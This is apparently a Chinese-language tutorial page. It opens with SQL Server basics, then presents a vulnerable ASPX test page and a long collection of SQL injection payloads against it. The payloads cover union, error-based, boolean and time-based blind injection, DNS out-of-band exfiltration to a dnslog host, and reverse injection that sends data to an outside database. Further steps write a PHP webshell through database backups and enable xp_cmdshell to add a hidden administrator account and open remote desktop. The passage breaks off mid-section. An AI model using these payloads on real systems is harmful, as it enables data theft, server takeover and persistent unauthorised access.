SQLServer数据库基本知识

SQLServer数据库介绍

SQLServer是美国Microsoft公司推出的一种关系型数据库系统。SQLServer是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统方案。SQLServer数据库也称MSSQL数据库。

其主要特点如下:

  • 高性能设计,可充分利用WindowsNT的优势
  • 系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置。
  • 强壮的事务处理功能,采用各种方法保证数据的完整性。
  • 支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。 SQLServer以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台。

SQLServer服务默认端口:1433

三个权限级别

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等。SQLServer数据库的最高权限。相当于系统system权限。
  • db权限:文件管理,数据库操作等权限。相当于系统users-administrators权限。
  • public权限:数据库操作。相当于系统guest-users权限。
1
2
3
4
5
6
7
8
判断是否是SA权限
select is_srvrolemember('sysadmin')

判断是否是db_owner权限
select is_member('db_owner')

判断是否是public权限
select is_srvrolemember('public')

c78b253a8e43fa7216abbae7c5330902.png

六个默认数据库

SQLServer数据库有6个默认的库,分别是4个系统数据库:mastermodelmsdbtempdb,和2个实例数据库:ReportServerReportServerTempDB。其中,系统数据库 modeltempdb 默认是没有数据表的。

  • master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
  • model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
  • msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
  • tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。

img

但是如果用navicat远程连接的话,只会显示2个实例数据库:ReportServerReportServerTempDB

三个特殊表

SQLServer中master数据库,控制SQL Server系统的所有系统级信息,例如:登录账户信息、链接服务器和系统配置设置、记录其他所有数据库的存在,数据文件的位置、 SQL Server的初始化信息等。如果master数据库不可用,则无法启动SQL Server,下有主要的三个特殊的表:

  • sysdatabases 管理已经存在的数据库
  • sysobjects 管理已经存在的表
  • syscolumns 管理表中字段

T-SQL

T-SQL 即 Transact-SQL,是 SQL 在 Microsoft SQL Server 上的增强版,它是用来让应用程式与 SQL Server 沟通的主要语言。T-SQL 提供标准 SQL 的 DDL 和 DML 功能,加上延伸的函数、系统预存程序以及程式设计结构(例如 IF 和 WHILE)让程式设计更有弹性。

T-SQL包括以下4个部分:

  • DDL:定义和管理数据库及其对象,例如create、alter和drop等。
  • DML:实现对数据库表各对象的操作,例如insert、update等。
  • DCL:数据控制语言,实现对数据库进行安全管理和权限管理等控制,例如grant、revoke、deny等。
  • 附加的语言元素。T-SQL的附加语言元素,包括变量、运算符、函数、注释和流程控制语句等。

常用系统函数

1
2
3
4
5
6
7
8
9
suser_name() 用户登录名
user_name() 用户在数据库中的名字
user 用户在数据库中的名字
show_role() 对当前用户起作用的规则
db_name() 数据库名
object_name(obj_id) 数据库对象名
col_name(obj_id,col_id) 列名
col_length(objname,colname) 列长度
valid_name(char_expr) 是否是有效标识符

常用查询语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
select @@version;       #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表

top n #查询前n条记录
xtype = 'U' #代表指定显示用户创建的表
xtype = 'X' #代表显示扩展存储过程

select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;

判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')

判断是否为站库分离
select host_name()=@@servername

#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB

count(name)是查询总数
name是查询名字
*是查询详细信息

#查询数据库
select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息

#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U' #查询当前数据库中所有表的名字
select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息

select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息

#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息

select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息

#查询数据
select count(*) from test..users #查询test数据库user表的数据的条数
select * from test..users #查询test数据库user表的所有数据

实验环境

  • 操作系统:Windows Server 2008R2
  • 数据库:Microsoft SQL Server 2008R2
  • Web服务器:IIS75-CN
  • 脚本语言:aspx
  • 源代码:index.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import namespace="System.Data.SqlClient" %>
<!DOCTYPE html>
<script runat="server">
private DataSet resSet=new DataSet();
protected void Page_Load(object sender, EventArgs e)
{
String strconn = "server=.;database=test;uid=sa;pwd=admin";
string id = Request.Params["id"];
string sql = string.Format("select * from newss where id={0}", id);
SqlConnection connection=new SqlConnection(strconn);
connection.Open();
SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);
dataAdapter.Fill(resSet);
DgData.DataSource = resSet.Tables[0];
DgData.DataBind();
Response.Write("执行语句:<br>"+sql);
Response.Write("<br>结果为:");
}

</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>SQLServer注入测试</title>
</head>
<body>
<form id="form1" runat="server">
<div>

<asp:DataGrid ID="DgData" runat="server" BackColor="White" BorderColor="#3366CC"
BorderStyle="None" BorderWidth="1px" CellPadding="4"
HeaderStyle-CssClass="head" Width="203px">
<FooterStyle BackColor="#99CCCC" ForeColor="#003399" />
<SelectedItemStyle BackColor="#009999" Font-Bold="True" ForeColor="#CCFF99" />
<PagerStyle BackColor="#99CCCC" ForeColor="#003399" HorizontalAlign="Left"
Mode="NumericPages" />
<ItemStyle BackColor="White" ForeColor="#003399" />
<HeaderStyle CssClass="head" BackColor="#003399" Font-Bold="True" ForeColor="#CCCCFF"></HeaderStyle>
</asp:DataGrid>

</div>
</form>
</body>
</html>

联合查询注入

判断注入点

数字型

1
2
3
4
5
http://hackrock.com:8205/?id=1/

http://hackrock.com:8205/?id=1-0

若加斜杠(/)报错,-0返回正常,说明存在注入点,闭合类型为数字型

字符型

1
2
3
4
5
http://hackrock.com:8205/?id=1' and '1'='1

http://hackrock.com:8205/?id=1' and '1'='2

若前者回显正常,后者回显异常,说明存在注入点,闭合类型为字符型

判断数据库类型

1
2
3
http://hackrock.com:8205/?id=1 and (select count(*) from sysobjects)>0

若返回正常,说明该数据库为mssql

判断查询列数

1
2
3
http://hackrock.com:8205/?id=1 order by 3

http://hackrock.com:8205/?id=1 order by 4

判断回显位

1
2
3
http://hackrock.com:8205/?id=-1 union select null,null,null 	#先使用NULL填充列数

http://hackrock.com:8205/?id=-1 union select 1,'2','3' #先用数字填充,若报错,则用字符填充

获取数据库名

1
2
3
4
5
http://hackrock.com:8205/?id=-1 union select 1,@@version,'3'	#获取数据库版本信息

http://hackrock.com:8205/?id=-1 union select 1,db_name(),'3' #获取当前数据库名

http://hackrock.com:8205/?id=-1 union select 1,db_name(1),'3' #获取第1个数据库名

获取表名

1
2
3
4
5
http://hackrock.com:8205/?id=-1 union select 1,name,'3' from test.sys.sysobjects where xtype='U' 		#获取test数据库的所有表名(若可以显示多行数据)

http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from test.sys.sysobjects where xtype='U' #获取test数据库的第1张表名

http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from test.sys.sysobjects where xtype='U' and name <> 'newss' #获取test数据库的第1张不为'newss'的表名(即第2张表名)

获取字段名

1
2
3
4
5
6
7
http://hackrock.com:8205/?id=-1 union select 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') 	#获取test数据库下的users表的所有字段名(若可以显示多行数据)

http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') #获取test数据库下users表的第1个字段名

http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') and name <> 'id' #获取test数据库下users表的第1个不为'id'的字段名(即第2个字段名)

http://hackrock.com:8205/?id=-1 union select top 1 1,name,'3' from syscolumns where id in (select id from test.sys.sysobjects where name='users') and name <> 'id' and name <> 'username' #获取test数据库下users表的第1个不为'id'且不为'username'的字段名(即第3个字段名)

获取数据

1
2
3
4
5
http://hackrock.com:8205/?id=-1 union select 1,username,password from users			#获取所有数据(若可以显示多行数据)

http://hackrock.com:8205/?id=-1 union select top 1 1,username,password from users #获取第1个数据

http://hackrock.com:8205/?id=-1 union select top 1 1,username,password from users where username <> 'admin' #获取username不为'admin'的数据(第2个数据)

报错注入

获取数据库名

1
2
3
4
5
6
7
http://hackrock.com:8205/?id=1 and 1=(@@version)			#获取数据库版本信息

http://hackrock.com:8205/?id=1 and 1=(select db_name()) #获取当前数据库

http://hackrock.com:8205/?id=1 and 1=(select db_name(1)) #获取第1个数据库名

http://hackrock.com:8205/?id=1 and 1=(select name from master..sysdatabases for xml path) #获取所有数据库名

获取表名

1
2
3
http://hackrock.com:8205/?id=1 and 1=(select top 1 name from test.sys.sysobjects where xtype='U')	#获取test数据库的第1张表名

http://hackrock.com:8205/?id=1 and 1=(select top 1 name from test.sys.sysobjects where xtype='U' and name <> 'newss') #获取test数据库的第1张不为'newss'的表名(即第2张表名)

获取字段名

1
2
3
http://hackrock.com:8205/?id=1 and 1=(select top 1 name from syscolumns where id in (select id from test.sys.sysobjects where name='users'))		#获取test数据库下users表的第1个字段名

http://hackrock.com:8205/?id=1 and 1=(select top 1 name from syscolumns where id in (select id from test.sys.sysobjects where name='users') and name <> 'id') #获取test数据库下users表的第1个不为'id'的字段名(即第2个字段名)

获取数据

1
2
3
http://hackrock.com:8205/?id=1 and 1=(select top 1 username from users)		#获取第1个数据

http://hackrock.com:8205/?id=1 and 1=(select top 1 username from users where username <> 'admin') #获取username不为'admin'的数据(第2个数据)

布尔型盲注

判断数据库的数量

1
http://hackrock.com:8205/?id=1 and (select count(*) from master..sysdatabases)>7 	#判断数据库数量(包括4个系统数据库)

判断数据库长度

1
2
3
http://hackrock.com:8205/?id=1 and len(db_name())>3			#判断当前数据库的长度

http://hackrock.com:8205/?id=1 and len(db_name(1))>3 #判断第1个数据库的长度

猜解数据库名

1
http://hackrock.com:8205/?id=1 and ascii(substring((select db_name()),1,1))>100 	#若回显正常说明当前数据库第1个字符的ASCII码值大于100

判断数据库中表的数量

1
http://hackrock.com:8205/?id=1 and (select count(*) from test.sys.sysobjects where xtype='U')>2

判断数据库中表的长度

1
2
3
4
5
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..sysobjects where xtype='U')>3		#判断第1张表的长度

http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..sysobjects where xtype='U' and name not in (select top 1 name from test.sys.sysobjects where xtype='U'))>3 #判断第2张表的长度

http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..sysobjects where xtype='U' and name not in (select top 2 name from test.sys.sysobjects where xtype='U'))>3 #判断第3张表的长度

猜解表名

1
2
3
4
5
http://hackrock.com:8205/?id=1 and (select ascii(substring((select top 1 name from test..sysobjects where xtype='U'),1,1)))>100	#猜解第1张表的表名

http://hackrock.com:8205/?id=1 and (select ascii(substring((select top 1 name from test..sysobjects where xtype='U' and name not in (select top 1 name from test.sys.sysobjects where xtype='U')),1,1)))>100 #猜解第2张表的表名

http://hackrock.com:8205/?id=1 and (select ascii(substring((select top 1 name from test..sysobjects where xtype='U' and name not in (select top 2 name from test.sys.sysobjects where xtype='U')),1,1)))>100 #猜解第3张表的表名

判断字段数量

1
http://hackrock.com:8205/?id=1 and (select count(*) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))>2	#判断users表的字段数量

判断字段的长度

1
2
3
4
5
http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))>1	#判断users表的第1个字段的长度

http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1 #判断users表的第2个字段的长度

http://hackrock.com:8205/?id=1 and (select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1 #判断users表的第3个字段的长度

猜解字段名

1
2
3
4
5
http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')),1,1))>100	#猜解users表的第1个字段名

http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100 #猜解users表的第2个字段名

http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100 #猜解users表的第3个字段名

猜解数据

1
http://hackrock.com:8205/?id=1 and ascii(substring((select top 1 username from users),1,1))>100	#猜解users表的username字段的值

时间型盲注

WAITFOR是SQL Server中Transact-SQL提供的⼀个流程控制语句。它的作⽤就是等待特定时间,然后继续执⾏后 续的语句。它包含⼀个参数DELAY,⽤来指定等待的时间。

如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断⽹站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。

时间型盲注payload在布尔型盲注的基础上进行改进,所以这里简单举几个例子。

猜解数据库名

1
http://hackrock.com:8205/?id=1 if (ascii(substring((select db_name()),1,1))>100) waitfor delay '0:0:3' 	#若延迟3秒以上,说明当前数据库第1个字符的ASCII码值大于100

猜解表名

1
2
3
4
5
http://hackrock.com:8205/?id=1 if ((select ascii(substring((select top 1 name from test..sysobjects where xtype='U'),1,1)))>100) waitfor delay '0:0:3'		#判断users表的第1个字段的长度

http://hackrock.com:8205/?id=1 if ((select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1) waitfor delay '0:0:3' #猜解第2张表的表名

http://hackrock.com:8205/?id=1 if ((select top 1 len(name) from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))>1) waitfor delay '0:0:3' #猜解第3张表的表名

猜解字段名

1
2
3
4
5
http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')),1,1))>100) waitfor delay '0:0:3'		#猜解users表的第1个字段名

http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100) waitfor delay '0:0:3' #猜解users表的第2个字段名

http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users'))),1,1))>100) waitfor delay '0:0:3' #猜解users表的第2个字段名

猜解数据

1
http://hackrock.com:8205/?id=1 if (ascii(substring((select top 1 username from users),1,1))>100) waitfor delay '0:0:3'	#猜解users表的username字段的值

DNS带外通信注入

关于带外通信注入的知识点在MySQL数据库注入中讲到过,这里就直接上payload了。

获取数据库名

1
2
3
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2buser%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a		#获取用户名

http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2bdb_name()%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取当前数据库名

获取表名

1
2
3
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test.sys.sysobjects where xtype='U')%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a		#获取当前表名

http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test.sys.sysobjects where xtype='U' and name not in (select top 1 name from test.sys.sysobjects where xtype='U'))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取第2张表名

获取字段名

1
2
3
4
5
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from syscolumns where id in (select id from test.sys.sysobjects where name='users'))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a	#获取users表的第1个字段名

http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取users表的第1个字段名

http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2b(select top 1 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users') and name not in (select top 2 name from test..syscolumns where id=(select id from sysobjects where xtype='U' and name='users')))%2b'.bp1itz.dnslog.cn\abc';exec master..xp_dirtree @a #获取users表的第3个字段名

获取数据

1
http://hackrock.com:8205/?id=1;declare @a char(128);set @a='\\'%2brtrim(cast((select top 1 username from users)as varchar))%2b'.o9i6yq.dnslog.cn\abc';exec master..xp_dirtree @a	#rtrim()函数作用为去除字符串右边的空格;cast()函数的作用为将查询到的数据转换为相应的类型

反弹注入

有时候,明明是sql注入的点,却无法进行注入,注射工具拆解的速度异常的缓慢,错误提示信息关闭,无法返回注入的结果,这个时候你便可以尝试使用反弹注入。

反弹注入需要依赖于函数opendatasource()的支持,将当前数据库中的查询结果发送到另一数据库服务器中。

注:openrowset()函数也可实现

MSSQL反弹注入语句解析

1
2
3
4
5
insert into
opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp
select * from admin –

server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

实验演示数据

连接服务器地址:192.168.123.120

连接数据库名:test_inject

连接数据库用户名:sa

连接数据库密码:Hacker1961

创建一个4个字段的表:test_table

注:在实际渗透过程中切勿使用sa用户进行反弹注入,并且使用云主机的数据库连接,这里只是作为演示。

如果在使用反弹注入的过程中报错:SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,则需要开启Ad Hoc Distributed Queries组件,执行语句如下:

1
2
3
4
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure

获取数据库名

1
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select name,null,null,null from master.dbo.sysdatabases		#获取所有数据库名

查看连接数据库

70bb15cdc04788f8a7f933d59b34ab0d.png

获取表名

1
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select null,name,null,null from test.sys.sysobjects where xtype='U'	#获取test数据库的所有表名

546032b90c724469e04d387ffabafabb.png

获取字段名

1
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select null,null,name,null from syscolumns where id in (select id from test.sys.sysobjects where name='users')	#获取users表中的所有列名

c021a769ae8ddc5df5eb95b078a57ddc.png

获取数据

1
http://hackrock.com:8205/?id=1;insert into opendatasource('sqloledb','server=192.168.123.120,1433;uid=sa;pwd=Hacker1961;database=test_inject').test_inject.dbo.test_table select username,password,null,null from users		#获取users表中的所有数据

c315e3af7df738724c85f1456302ea96.png

DB_owner权限写WebShell

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马。

判断是否拥有db_owner权限

1
http://hackrock.com:8205/?id=1 and 1=(select is_member('db_owner'))	#若返回正常数据,则拥有db_owner权限

利用xp_dirtree查找物理目录

如果我们用DB权限写入一句话是需要知道web目录

1
2
3
http://hackrock.com:8205/?id=1;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity(1,1))			#创建一张临时表

http://hackrock.com:8205/?id=1;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1 #利用xp_dirtree 查询,将指定目录文件和文件夹插入到临时表中,这里查询的是C盘目录

ba6e0aa3cd637aebe0d6cbd888589500.png

可以通过sql注入,查找temp表下的dir字段的值即可得到c盘下的文件与文件夹

可以通过此方式,查询Web根目录

注:

execute master..xp_dirtree ‘c:’ —列出所有c:\文件、目录、子目录

execute master..xp_dirtree ‘c:’,1 —只列c:\目录

execute master..xp_dirtree ‘c:’,1,1 —列c:\目录、文件

SQLServer常见的备份策略

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务日志备份

LOG备份写入WebShell

利用前提

  • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该test数据库存在数据库备份文件,而且恢复模式得是 完整模式
  • 知道网站的绝对路径
  • 该注入支持堆叠注入
1
2
3
4
5
6
7
8
9
10
11
http://hackrock.com:8205/?id=1;alter database test set RECOVERY FULL	#修改数据库恢复模式为 完整模式

http://hackrock.com:8205/?id=1;create table cmd (a image) #创建一张表cmd,只有一个列 a,类型为image

http://hackrock.com:8205/?id=1;backup log test to disk= 'C:\Wamp\apache2.4\htdocs\WWW\1.php' with init #备份表到指定路径

http://hackrock.com:8205/?id=1;insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e) #插入一句话到cmd表里,其中0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 <?php @eval($_POST[x]);?> 的16进制表示

http://hackrock.com:8205/?id=1;backup log test to disk= 'C:\Wamp\apache2.4\htdocs\WWW\2.php' #把操作日志备份到指定文件

http://hackrock.com:8205/?id=1;drop table cmd; #删除cmd表

执行完成后会在目标网站根目录下生成1.php和2.php文件,其中1.php 保存数据库,2.php就是我们需要连接的木马文件。

91472d32967d1548756fa36a60424fcc.png

差异备份写入WebShell

注:差异备份有概率会把网站搞崩,所以不建议使用差异备份

利用前提

  • 知道网站的绝对路径
  • 该注入支持堆叠注入
1
2
3
4
5
6
7
http://hackrock.com:8205/?id=1;backup database test to disk='C:\temp\tmp.bak'

http://hackrock.com:8205/?id=1;create table [dbo].[test_tmp] ([cmd] [image])

http://hackrock.com:8205/?id=1;insert into [test_tmp](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e)

http://hackrock.com:8205/?id=1;backup database test to disk='C:\Wamp\apache2.4\htdocs\WWW\shell.php' with differential,format

65ed0b9a7780f4d0fb89684122fb0a6e.png

SA权限执行系统命令

MSSQL扩展存储过程

扩展存储过程是MSSQL提供的特殊功能。所谓“扩展存储过程”其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能,MSSQL利用扩展存储可以实现许多强大的功能,包括对系统进行操作,利用这个特性,在实施MSSQL注入攻击时,可以更容易地对系统进行控制。

攻击中最常利用的扩展存储

xp_cmdshell ——可以直接执行系统命令

sp_oacreate ——可以执行系统命令

xp_regread ——可以进行注册表读取

xp_regwrite ——可以写入注册表

xp_regdeletevalue ——删除注册表值

xp_dirtree ——可以进行列目录操作

xp_password ——更改密码

xp_servicecontrol ——停止或激活某服务

sp_addlogin ——创建新的SQLServer登录

sp_dropuser ——从当前数据库中删除数据库用户

sp_enumgroups ——提供本地组列表或在指定的域中定义全局组列表

xp_enumds ——可以进行ODBC连接

xp_loginconfig ——可以配置服务器安全模式信息

xp_makecab ——可以创建压缩卷

xp_ntsec_enumdomains ——可以查看domain信息

xp_terminate_jroces ——可以查看终端进程,给出一个进程PID

xp_cmdshell

xp_cmdshell这个存储过程可以用来执行cmd命令。

查看扩展是否存在

1
http://hackrock.com:8205/?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell') 		#若正常显示,则xp_cmdshell扩展已存在

开启扩展

1
2
3
4
5
6
7
8
9
10
11
http://hackrock.com:8205/?id=1;execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
http://hackrock.com:8205/?id=1;execute('reconfigure') #保存设置
http://hackrock.com:8205/?id=1;execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
http://hackrock.com:8205/?id=1;execute('reconfigure') #保存设置

或者

http://hackrock.com:8205/?id=1;exec sp_configure 'show advanced options',1;
http://hackrock.com:8205/?id=1;reconfigure;
http://hackrock.com:8205/?id=1;exec sp_configure 'xp_cmdshell',1;
http://hackrock.com:8205/?id=1;reconfigure;

执行系统命令

1
2
3
4
5
6
添加用户
http://hackrock.com:8205/?id=1;exec xp_cmdshell 'net user hacker$ Admin12345 /add'
http://hackrock.com:8205/?id=1;exec xp_cmdshell 'net localgroup administrators hacker$ /add'

开启远程桌面
http://hackrock.com:8205/?id=1;exec xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0 /f';exec xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t reg_dword /d 3389 /f';exec xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t reg_dword /d 3389 /f'

sp_oacreate

使用sp_oacreate提权前提条件:

  • SQLServer数据库服务未降权 (因为需要调用COM组件)

我们可以借助SQLServer中的COM组件sp_oacreate来执行系统命令,使用下面命令查看是否可使用 sp_oacreate 执行系统命令。

查看扩展是否存在

1
http://hackrock.com:8205/?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='sp_oacreate') 		#若正常显示,则sp_oacreate扩展已存在

开启扩展

1
2
http://hackrock.com:8205/?id=1;exec sp_configure 'show advanced options',1;reconfigure;
http://hackrock.com:8205/?id=1;exec sp_configure 'ole automation procedures',1;reconfigure;

文件操作

1
2
3
4
5
6
7
8
复制文件
http://hackrock.com:8205/?id=1;declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out;exec sp_oamethod @o, 'copyfile',null,'c:\1.txt','c:\2.txt'

移动文件
http://hackrock.com:8205/?id=1;declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out;exec sp_oamethod @o, 'movefile',null,'c:\1.txt','c:\temp\2.txt'

删除文件
